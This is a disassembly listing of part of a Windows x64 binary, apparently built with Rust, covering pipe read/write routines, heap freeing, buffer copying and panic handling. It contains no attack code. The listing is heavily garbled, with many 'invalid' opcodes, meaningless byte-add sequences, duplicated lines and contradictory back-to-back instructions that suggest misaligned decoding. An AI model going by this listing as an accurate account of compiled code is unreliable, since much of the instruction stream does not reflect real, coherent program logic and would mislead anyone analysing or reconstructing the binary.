add byte [rax - 0x7b], cl
sal byte [rdi + rbp*2 + 0x48], 0xc1
je 0x140090680
shl rax, 0x20
shl rax, 0x20
shl eax, 0x20
and byte [rax - 0x7d], cl
enter 0x4802, 0xffffffffffffff89
invalid
invalid
test dword [rax], edx
or rax, 2
mov qword [rbp + 0x1010], rax
adc byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
test dword [rax], ecx
adc byte [rax], al
add byte [rcx], al
invalid
mov qword [rbp + 0x1008], 1
mov dword [rbp + 0x1008], 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x3e183c1], cl
mov ecx, eax
and ecx, 3
loope 0x140090633
mov ecx, eax
and ecx, 3
loope 0x140090633
loope 0x140090633
add ecx, dword [rax + 0x63]
or al, 0x8e
movsxd rcx, dword [rsi + rcx*4]
mov cs, word [rax + 1]
add rcx, rsi
add ecx, esi
int1
jmp rcx
add byte [rax], al
add byte [rax], al
add byte [rax], al
add bh, bh
adc eax, 0x1fd62
std
add dword [rax], eax
call qword [sym.imp.kernel32.dll_GetLastError]
std
add dword [rax], eax
shl rax, 0x20
or rax, 2
or eax, 2
mov qword [rbp + 0x1010], rax
adc byte [rax], dl
add byte [rax], al
adc byte [rax], al
add byte [rax - 0x39], cl
invalid
test dword [rax], ecx
mov qword [rbp + 0x1008], 1
or byte [rax], dl
add byte [rax], al
add dword [rax], eax
add byte [rax], al
adc byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rcx + 0x3e183c1], cl
mov ecx, eax
and ecx, 3
movsxd rcx, dword [rsi + rcx*4]
invalid
or al, 0x8e
add rcx, rsi
jmp rcx
loope 0x14009067e
movzx eax, byte [rax + 0x10]
jmp 0x1400906cc
mov dh, 0x40
adc bl, ch
pop rax
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov eax, dword [rbp + 0x1004]
adc byte [rax], al
add byte [rax - 0x77], cl
test dword [rax], edx
mov qword [rbp + 0x1010], rax
mov qword [rbp + 0x1008], 0
test dword [rax], ecx
adc byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
adc byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], ecx
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add bl, ch
jmp 0x1400906d4
invalid
invalid
jmp 0x1400906d4
call 0x128ca8fc1
fcmovnb st(0), st(3)
invalid
shr eax, 0xdb
ret
and eax, 0x20e8c148
cmp eax, 0x28
sub byte [rdi], cl
xchg ebx, edx
rol dword [rcx], cl
add byte [rax], al
sub byte [rdi], cl
xchg ebx, edx
rol dword [rcx], cl
add byte [rax], al
lea rcx, [0x1400f0cac]
lea rcx, [0x1400f0cac]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov dh, 0x40
invalid
cmp al, 0xb
je 0x14009097a
cmpsb byte [rsi], byte [rdi]
add al, byte [rax]
invalid
cmpsb byte [rsi], byte [rdi]
add al, byte [rax]
add byte [rax - 0x75], cl
test dword [rax], ecx
or byte [rax], dl
add byte [rax], al
mov qword [rbp + 0xfd0], rax
mov rax, qword [rbp + 0x1008]
or byte [rax], dl
add byte [rax], al
mov qword [rbp + 0xfd0], rax
ror byte [rdi], 1
add byte [rax], al
mov rax, qword [rbp + 0x1010]
adc byte [rax], dl
add byte [rax], al
mov qword [rbp + 0xfd8], rax
fmul dword [rdi]
add byte [rax], al
cmp qword [rbp + 0xfd0], 0
jne 0x14009096c
outsb dx, byte [rsi]
add al, byte [rax]
invalid
ror byte [rdi], 1
add byte [rax], al
add byte [rdi], cl
test dword [rsi + 2], ebp
outsb dx, byte [rsi]
add al, byte [rax]
invalid
outsb dx, byte [rsi]
add al, byte [rax]
add byte [rbx + rcx*4 - 0x5b], cl
mov r12, qword [rbp + 0xfd8]
fmul dword [rdi]
add byte [rax], al
test r12, r12
je 0x140090938
cmp r12, 0x1000
cmp esp, 0x1000
ja 0x14009099c
xchg dword [rcx + 0x4c000002], eax
mov esi, ebp
out dx, al
mov rsi, r13
out dx, al
xor r13d, r13d
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x77], al
mov r8d, r12d
sub r8d, r13d
loopne 0x140090779
sub eax, ebp
lea rdx, [r13 - 0x50]
sub eax, 0xffffffb0
dec dword [rax + 1]
add rdx, rbp
mov dword [rbp + 0xffc], 0
sldt word [rax]
add byte [rax], al
add byte [rax], al
invalid
sldt word [rax]
add byte [rax], al
add byte [rax], al
movaps xmmword [rbp + 0xfb0], xmm6
mov al, 0xf
add byte [rax], al
mov qword [rbp + 0xfc0], 0
ror byte [rdi], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x4b], cl
mov qword [rbp + 0xfc8], r14
enter 0xf, 0
add byte [rax - 0x77], cl
pop rsp
mov qword [rsp + 0x20], rbx
and al, 0x20
mov rcx, qword [rbp + 0xfe8]
mov ecx, dword [rbp + 0xfe8]
add byte [rax], al
mov r9, r15
mov ecx, edi
call qword [sym.imp.kernel32.dll_WriteFileEx]
invalid
add byte [rbp - 0x747bf040], al
add dword [rax], eax
add byte [rsi + 0x66], ah
test eax, eax
je 0x14009090c
invalid
mov eax, dword [rcx]
add byte [rax], al
test byte [rbx + 0x66000001], cl
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 1], bh
invalid
invalid
invalid
invalid
mov ecx, 0xffffffff
invalid
mov edx, 1
add byte [rax], al
call rdi
cmp dword [rbp + 0xffc], 0
sldt word [rax]
invalid
je 0x140090790
sldt word [rax]
add byte [rbx + rbp*8 + 0x48], dh
movsxd rax, dword [rbp + 0x1000]
test rax, rax
test eax, eax
invalid
adc byte [rax], al
add byte [rax - 0x7b], cl
test eax, eax
invalid
test dword [rbp + 1], ebx
invalid
test eax, eax
jne 0x140090912
test dword [rbp + 1], ebx
add byte [rax], al
invalid
add byte [rbx + 0x100485], cl
add byte [rcx + 1], cl
add r13, rax
mov eax, dword [rbp + 0x1004]
add al, 0x10
add byte [rax], al
add r13, rax
cmp r13, r12
je case.0x140088a7a.61
invalid
or eax, 0xff67860f
invalid
jbe 0x140090730
invalid
jmp 0x140090988
add byte [rax], al
nop
mov r12, qword [rbp + 0xff0]
mov r13, rsi
invalid
mov rax, qword [sym.imp.kernel32.dll_ReadFileEx]
cli
add dword [rax], eax
lea rsi, [0x1400f0c9c]
add al, 6
add cl, ch
jmp 0x1400905a5
mov al, 0x25
invalid
fdivr st(6)
invalid
jmp 0x1400905a5
push qword [rax - 0x12716db]
invalid
jmp 0x1400906cc
push qword [rax - 0x12e16dd]
invalid
jmp 0x1400906cc
push qword [rax - 0x13516dc]
invalid
jmp 0x1400906cc
push qword [rax - 0x13c16e5]
invalid
jmp 0x1400906cc
push qword [rax - 0x14316de]
invalid
jmp 0x1400906cc
push qword [rax - 0x14a16f0]
invalid
jmp 0x1400906cc
push qword [rax - 0x15116f2]
invalid
jmp 0x1400906cc
push qword [rax - 0x15816df]
invalid
push qword [rax - 0x15f16f5]
invalid
push qword [rax - 0x16616fc]
invalid
push qword [rax - 0x16d16d8]
invalid
push qword [rax - 0x17416f4]
invalid
push qword [rax - 0x17b16f7]
invalid
push qword [rax - 0x18216e7]
invalid
push qword [rax - 0x18916e8]
invalid
push qword [rax - 0x19016fe]
invalid
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x1010], rax
mov qword [rbp + 0x1008], 1
lea rcx, [rbp + 0x1010]
call fcn.140079f00
mov rsi, qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0xff0]
call rsi
mov rcx, qword [rbp + 0xfe8]
call rsi
movaps xmm6, xmmword [rbp + 0x1020]
add rsp, 0x10b8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [rbp + 0xfd8]
call fcn.140079f00
jmp 0x140090938
lea rcx, [rbp + 0x1010]
call fcn.140079f00
jmp 0x140090938
lea r8, str.library_std_src_syswindowspipe.rs
mov rcx, r13
mov rdx, r12
call fcn.1400aa0c0
jmp 0x1400909b0
lea r8, str.library_std_src_syswindowspipe.rs
mov edx, 0x1000
mov rcx, r12
call fcn.1400a9df0
ud2
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
cmp byte [rbp + 0x5e8], 2
je 0x140093a15
cmp qword [rbp + 0x5d8], 0
je 0x140093a15
mov r8, qword [rbp + 0x5d0]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
lea ebp, [rax - 0xfffffb]
adc eax, 0x1c86f
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
lea ebp, [rax - 0xfffffb]
adc eax, 0x1c86f
nop
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, qword [rsi + 0x10]
cmp byte [rax], 0
je 0x140093d37
mov rbx, qword [rsi + 0x18]
mov rax, qword [rbx]
test rax, rax
je 0x140093c47
mov r14, qword [rsi + 0x20]
cmp byte [r14], 0
jne 0x140093c3c
mov rcx, qword [rsi + 0x28]
mov rdx, qword [rcx]
xor ecx, ecx
cmp rax, 2
setae cl
lea rax, str.s_unknown_
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
cmovae r8, rax
mov qword [rbp + 0x38], r8
cmp byte [r8 - 0x77], r9b
mov qword [rbp - 0x50], rbx
cmp byte [r8 - 0x77], r9b
mov qword [rbp - 0x50], rbx
lea rax, [fcn.1400415d0]
mov qword [rbp - 0x48], rax
lea rax, [rbp + 0x38]
mov qword [rbp - 0x40], rax
lea rax, [0x1400514b0]
mov qword [rbp - 0x38], rax
lea rax, [0x1400e93e0]
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], 3
mov qword [rbp + 8], 0
lea rax, [rbp - 0x50]
mov qword [rbp - 8], rax
mov qword [rbp], 2
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
invalid
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
sub byte [rbp + rcx*4 + 0x45], cl
lea r8, [rbp - 0x18]
invalid
in eax, 0xfa
lea r8, [rbp - 0x18]
call fcn.140042180
invalid
inc dword [rcx - 0x3a]
invalid
mov byte [r14], 0
mov qword [rbx], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rax, qword [rsi + 0x28]
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], 0
mov rax, qword [rsi + 0x38]
mov rbx, qword [rax + 0x10]
mov r14, qword [rdi + 0x20]
mov r15, qword [rdi + 0x28]
lea rcx, [rbp - 0x18]
mov rdx, r14
mov r8, r15
call fcn.1400433d0
cmp qword [rbp - 0x18], 0
mov r12d, 2
mov eax, 2
add byte [rax], al
add byte [rbp + 0x3b], dh
add byte [rax], al
add byte [rbp + 0x3b], dh
mov rdx, qword [rbp - 0x10]
mov r8, qword [rbp - 8]
lea rcx, [rbp - 0x18]
call 0x13dde2480
dec dword [rax - 0x75]
call 0x14301bfe9
invalid
call 0x13dde2480
dec dword [rax - 0x75]
call 0x14301bfe9
je 0x140093cc3
mov rcx, qword [rbp + 0x20]
mov qword [rbp - 0x20], rcx
movups xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
movups xmm2, xmmword [rbp + 0x10]
movaps xmmword [rbp - 0x30], xmm2
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
mov rcx, qword [rbp - 0x20]
mov qword [rbp + 0x20], rcx
movaps xmm0, xmmword [rbp - 0x50]
movaps xmm1, xmmword [rbp - 0x40]
movaps xmm2, xmmword [rbp - 0x30]
movups xmmword [rbp + 0x10], xmm2
movups xmmword [rbp], xmm1
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp - 0x18], rax
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x30], r15
cmp qword [rdi], 0
je 0x140093d03
movups xmm0, xmmword [rdi + 8]
movups xmmword [rbp - 0x48], xmm0
mov r12d, 1
mov qword [rbp - 0x50], r12
mov eax, dword [rdi + 0x18]
mov ecx, dword [rdi + 0x1c]
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], eax
lea rcx, [rbp + 0x38]
lea r8, [rbp - 0x18]
lea r9, [rbp - 0x50]
mov rdx, rbx
call fcn.140080310
mov rcx, qword [rsi + 0x30]
mov byte [rcx], al
mov rax, qword [rbp + 0x38]
inc qword [rax + 0x18]
add rsp, 0xd0
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
add eax, 0x1cba00
add byte [rax], al
mov r8, rbx
mov r9, r14
call fcn.140093e10
test al, al
je 0x140093d90
mov byte [r15], 0
jmp 0x140093d37
lea rcx, [0x1400e93a4]
mov edx, 0x1a
mov r8, rbx
mov r9, r14
call fcn.140093e10
test al, al
je 0x140093db1
mov byte [r15], 1
jmp 0x140093d37
cmp byte [r15], 0
jne 0x140093b89
mov rax, qword [rsi + 0x18]
inc qword [rax]
jmp 0x140093b89
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r15
push rdi
push rdi
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x30
lea rbp, [rdx + 0x80]
mov rax, qword [rbp + 0x38]
inc qword [rax + 0x18]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
add byte [rcx + rcx*4 - 0x17], cl
mov rdx, r12
mov r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400942ee
inc r13
dec rsi
nop dword [rax]
cmp rsi, rbx
setae r15b
jb 0x140094291
mov rcx, r13
mov rdx, r12
mov r8, rbx
call sub.VCRUNTIME140.dll_memcmp
inc r13
dec rsi
test eax, eax
jne 0x140093f10
jmp 0x140094291
mov eax, ebx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
rol byte [rcx + 0xf], 0x94
invalid
jmp 0x140094291
add byte [rax], al
rol byte [rcx + 0xf], 0x94
invalid
add byte [rax], al
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x50]
mov rdx, r13
mov r8, rsi
mov r9, r12
call fcn.1400452f0
cmp qword [rsp + 0x50], 0
je 0x14009418f
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x88], 0xffffffffffffffff
mov r8, qword [rsp + 0x98]
mov r9, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0xb0]
je 0x140094268
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x30], 0
jmp 0x140094277
cmp byte [rsp + 0x6a], 0
je 0x1400942f3
xor eax, eax
mov qword [rsp + 0xb8], rax
jmp 0x140094284
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x30], 1
lea rcx, [rsp + 0xb8]
call fcn.140094480
cmp qword [rsp + 0xb8], 0
setne r15b
mov eax, r15d
movaps xmm6, xmmword [rsp + 0xd0]
movaps xmm7, xmmword [rsp + 0xe0]
movaps xmm8, xmmword [rsp + 0xf0]
movaps xmm9, xmmword [rsp + 0x100]
movaps xmm10, xmmword [rsp + 0x110]
movaps xmm11, xmmword [rsp + 0x120]
movaps xmm12, xmmword [rsp + 0x130]
movaps xmm13, xmmword [rsp + 0x140]
add rsp, 0x158
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r15b, 1
jmp 0x140094291
mov r8, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
movzx eax, byte [rsp + 0x68]
mov r9, rdx
test r8, r8
je 0x14009432f
mov r9, rdx
sub r9, r8
jbe 0x140094329
test r9, r9
je 0x14009434a
test r15b, r15b
je 0x140094530
mov rbx, r11
nop dword [rax]
movzx r10d, byte [r8 + r10]
bt r14, r10
jb 0x140094550
movzx r10d, byte [r8 + r10]
bt r14, r10
jae 0x140094554
and al, 0x20
jne 0x14009469f
jmp 0x1400946b6
lea r10, [rdi + r11]
cmp r10, r9
jb 0x1400944f1
jmp 0x1400946ca
mov qword [rax + 0x30], r10
mov r12, r10
lea r10, [rdi + r11]
cmp r10, r9
jb 0x1400944f1
mov qword [rax + 0x20], r9
xor eax, eax
shr bl, 0x26
shr bl, 0x26
add rdx, rbx
mov qword [rax + 0x20], rdx
push rax
and byte [rbp - 0x7c], al
push qword [rbp + 8]
push rax
and byte [rbp - 0x7c], al
push qword [rbp + 8]
mov qword [rax + 0x30], 0
mov dword [rax + 0x30], 0
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 8], rbx
mov qword [rcx + 0x10], rdx
mov eax, 1
mov qword [rcx], rax
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test rax, rax
jne 0x140094e67
mov rbx, rdx
test rsi, rsi
je 0x140094e3a
lea rax, [rsi - 1]
cmp rax, 3
jae 0x140094cd0
xor r15d, r15d
xor eax, eax
jmp 0x140094d08
mov rcx, rsi
and rcx, 0xfffffffffffffffc
lea rdx, [rbx + 0x30]
xor r15d, r15d
xor eax, eax
mov r8d, dword [rdx - 0x30]
mov r9d, dword [rdx - 0x20]
add r8, r15
mov r10d, dword [rdx - 0x10]
add r10, r9
add r10, r8
mov r15d, dword [rdx]
add r15, r10
add rax, 4
add rdx, 0x40
cmp rcx, rax
jne 0x140094ce0
mov ecx, esi
and ecx, 3
je 0x140094d30
shl rax, 4
add rax, rbx
shl rcx, 4
xor edx, edx
nop dword [rax]
mov r8d, dword [rax + rdx]
add r15, r8
add rdx, 0x10
add edx, 0x10
cmp rcx, rdx
jne 0x140094d20
mov rax, qword [rdi + 8]
mov r12, qword [rdi + 0x10]
sub rax, r12
cmp rax, r15
jb 0x140094e23
mov qword [rsp + 0x20], rsi
shl rsi, 4
xor r14d, r14d
jmp 0x140094d81
mov rcx, qword [rdi]
add rcx, r12
mov rdx, rbp
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add r12, r13
mov qword [rdi + 0x10], r12
add r14, 0x10
cmp rsi, r14
je 0x140094db0
mov rbp, qword [rbx + r14 + 8]
mov r13d, dword [rbx + r14]
mov rax, qword [rdi + 8]
mov eax, dword [rdi + 8]
sub rax, r12
cmp rax, r13
invalid
jae case.0x14007e2fa.494
mov rcx, rdi
mov rdx, r12
mov r8, r13
call fcn.1400aae70
mov r12, qword [rdi + 0x10]
adc bl, ch
invalid
adc bl, ch
mov dh, 0x66
nop dword [rax + rax]
invalid
add byte [rax], r8b
invalid
invalid
add byte [rbp - 0x7b], cl
dec dword [rdi]
test byte [rax + rax - 0x2dcf0000], dl
test r15, r15
je 0x140094e4d
xor edx, edx
xor ecx, ecx
mov rax, r15
mov r8d, dword [rbx + rdx]
adc ecx, dword [rcx + rbp - 0x40]
sub rax, r8
jb 0x140094de0
inc rcx
add rdx, 0x10
mov r15, rax
cmp rsi, rdx
jne 0x140094dc0
ror dword [rax - 0x7d], 0xc2
adc byte [rcx - 0x77], cl
invalid
jmp 0x140094de3
mov rax, r15
mov rsi, qword [rsp + 0x20]
cmp rsi, rcx
jb 0x140094e56
mov r8, rcx
shl r8, 4
lea rdx, [rbx + r8]
sub rsi, rcx
je 0x140094ca0
mov ecx, dword [rdx]
cmp rax, rcx
ja 0x140094ea3
invalid
xchg edi, eax
add byte [rax], al
invalid
xchg dword [rdi + 0x29000000], edx
ror dword [rcx + 0x44014a0a], 3
or cl, byte [rdx + 1]
add r9d, dword [rax]
invalid
invalid
sub ecx, eax
mov dword [rdx], ecx
or cl, byte [rdx + 1]
add r9d, dword [rax]
or cl, byte [rdx + 1]
add r9d, dword [rax]
mov rbx, rdx
test rsi, rsi
jne 0x140094cb5
invalid
invalid
ror dword [rax - 0x7b], cl
test byte [rdi], 0x85
xchg esp, eax
invalid
invalid
jmp 0x140094e3a
mov rcx, rdi
mov rdx, r12
mov edx, esp
mov edx, esp
mov r8, r15
call fcn.1400aae70
add dword [rax], eax
add dword [rax], eax
mov r12, qword [rdi + 0x10]
jmp case.0x14007e263.501
xor eax, eax
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, str.failed_to_write_whole_buffer
add eax, 0x5412c
jmp 0x140094e3c
lea r8, [0x1400e8e80]
lea eax, [0x1400e8e80]
mov rdx, rsi
call fcn.1400a9cf0
bnd call fcn.1400a9cf0
ud2
lea rax, str.advancing_io_slices_beyond_their_length
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, [0x1400e8ed0]
lea rcx, [rsp + 0x28]
call fcn.1400a9cb0
ud2
lea rax, str.advancing_IoSlice_beyond_its_length
mov qword [rsp + 0x28], rax
add eax, 0x44894800
and al, 0x28
mov qword [rsp + 0x30], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.library_std_src_syswindowsio.rs
lea rcx, [rsp + 0x28]
call fcn.1400a9cb0
ud2
adc eax, 0x537d8
lea rcx, [rbp - 0x18]
call fcn.140042180
mov rcx, qword [rbp - 0x10]
test al, al
je 0x140094f2d
call 0x13adbbef8
dec dword [rax - 0x75]
invalid
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
cmp qword [rbp - 0x10], 0
je 0x140094f6e
lea rcx, [rbp - 0x10]
call fcn.140079f00
nop
add rsp, 0x20
pop rbp
ret
mov qword [rsp + 0x38], rcx
lea rcx, [0x140043b00]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rax
push rcx
jmp 0x140094fa8
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rcx
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 3
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 3
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x58]
call fcn.140042180
nop
add rsp, 0x88
ret
movzx eax, byte [0x1400f91b0]
add eax, 0x64154
mov rax, qword [rdi + 0x48]
mov byte [rbp - 1], bl
mov byte [rbp - 1], bl
lea rcx, [rbp - 1]
mov qword [rbp - 0x18], rcx
lea rcx, [0x140093040]
mov qword [rbp - 0x10], rcx
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rbp - 0x48], rcx
mov qword [rbp - 0x40], 1
mov qword [rbp - 0x28], 0
lea rcx, [rbp - 0x18]
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x30], 1
lea rdx, [rbp - 0x48]
mov rcx, rsi
call rax
mov rsi, rax
cmp byte [rbp - 8], 0
jne 0x1400950c2
mov rax, qword [0x1400f9290]
shl rax, 1
test rax, rax
jne 0x1400950ea
lea rcx, [0x1400f91a8]
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov rax, rsi
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop rbp
ret
rcl byte [rdx + 0x1340001]
mov dword [rbp - 8], eax
jmp 0x140095055
add byte [rcx], al
jmp 0x1400950c2
pop rbp
ret
invalid
invalid
invalid
mov rax, rsi
add rsp, 0x30
pop rsi
ret
in al, dx
xor byte [rcx + rcx*4 - 0x40], cl
mov rsi, rcx
add rax, 0xfffffffffffffff0
shl r9, 4
shl ecx, 4
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
nop word [rax + rax]
invalid
test r9, r9
je 0x14009518c
mov r10d, dword [rax + 0x10]
add rax, 0x10
add r9, 0xfffffffffffffff0
adc byte [rax - 0x7d], cl
rcl byte [rax], 0x49
add ecx, 0xfffffff0
test r10, r10
je 0x140095170
sal byte [rdx + rbp*8 + 0x4c], cl
mov eax, dword [rax + 8]
mov r8, qword [rax + 8]
jmp 0x14009518f
add eax, dword [rbp + 0x31]
ror byte [rax - 0x77], cl
push rsp
and al, 0x20
xor r10d, r10d
mov qword [rsp + 0x20], rdx
and byte [rax - 0x77], cl
int1
mov rcx, rsi
mov edx, 0xfffffff4
mov r9, r10
call fcn.14007b1a0
mov rax, rsi
add rsp, 0x30
pop rsi
ret
int3
jne 0x1400951d7
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str.library_std_srcpanicking.rsBox_dyn_Any__unnamed_
pushfq
xchg esp, eax
add eax, 0x58d4c00
add byte [rbp + rcx*4 + 5], cl
cmp eax, 0xba000546
sub eax, dword [rax]
add byte [rax], al
mov edx, 0x2b
call fcn.1400a9e70
add dword [rax], eax
ud2
mov rdx, qword [rcx + 0x18]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x28], rcx
and al, 0x28
mov qword [rsp + 0x30], rdx
lea rcx, [rsp + 0x20]
call fcn.140095200
ud2
mov dword [rbp - 8], 0xfffffffe
mov rax, qword [rcx]
mov eax, dword [rcx]
mov r8, qword [rax + 8]
mov rdx, qword [rax + 0x18]
push rax
sbb byte [rcx - 0x7d], cl
clc
invalid
je 0x140095248
push rax
sbb byte [rcx - 0x7d], cl
clc
add dword [rbp + rdx + 0x4d], esi
test eax, eax
test r8, r8
jne 0x14009528d
push rbp
test rdx, rdx
jne 0x14009528d
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
add eax, 0x59014
xor edx, edx
jmp 0x140095257
cmovs eax, dword [rbp + 0x484075d2]
mov edx, dword [rax]
test rdx, rdx
jne 0x14009528d
mov rdx, qword [rax]
mov rax, qword [rdx]
mov rdx, qword [rdx + 8]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rdx
mov rax, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
mov r8, qword [rax + 0x10]
movzx ecx, byte [rax + 0x20]
movzx eax, byte [rax + 0x21]
mov byte [rsp + 0x28], al
mov byte [rsp + 0x20], cl
lea rdx, [0x1400e9860]
lea rcx, [rbp - 0x28]
call fcn.140095310
ud2
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], 0
mov rax, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
mov r8, qword [rax + 0x10]
movzx ecx, byte [rax + 0x20]
and byte [rdi], cl
mov dh, 0x40
and dword [rax - 0x77d7dbbc], ecx
and al, 0x20
and byte [rdi], cl
mov dh, 0x40
and dword [rax - 0x77d7dbbc], ecx
and al, 0x20
lea rdx, str.__t_
lea rcx, [rbp - 0x28]
call fcn.140095310
ud2
ret
int3
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0xf0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x68], 0xfffffffffffffffe
mov rsi, r9
movzx r12d, byte [rbp + 0xd8]
movzx r14d, byte [rbp + 0xd0]
lock inc qword [0x1400f9290]
jle 0x14009591f
mov eax, dword [rcx + rax*8]
inc qword [rax + 0xc0]
mov byte [rax + 0xc8], 1
lea r15, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rbp], r15
lea rax, [0x1400e98b0]
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], r8
mov qword [rbp + 0x18], rsi
mov byte [rbp + 0x20], r14b
mov byte [rbp + 0x21], r12b
lea rcx, [0x1400f91c0]
invalid
add bh, bh
adc eax, 0x1af04
movzx eax, byte [0x1400f91c8]
cmp qword [0x1400f91d0], 0
mov rax, qword [rbx + 0x20]
jne 0x140095406
invalid
mov byte [rbp + 0x67], 1
mov rcx, rdi
add dword [eax - 0x77], ecx
stc
call rax
mov rdi, rax
mov edi, eax
mov rbx, rdx
mov qword [rbp], rax
mov qword [rbp + 8], rdx
test r12b, r12b
je 0x14009546c
add byte [rax - 0x77], cl
push rbp
or byte [rbp - 0x7c], al
in al, 0x74
outsd dx, dword [rsi]
mov byte [rbp + 0x66], 3
jmp 0x140095622
mov byte [rbp + 0x67], 1
mov rcx, rdi
call rax
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov rcx, qword [0x1400f91d0]
mov rax, qword [0x1400f91d8]
mov eax, dword [0x1400f91d8]
mov eax, dword [0x1400f91d8]
mov rax, qword [rax + 0x28]
mov byte [rbp + 0x67], 1
mov rdx, rbp
invalid
call rax
sub sil, al
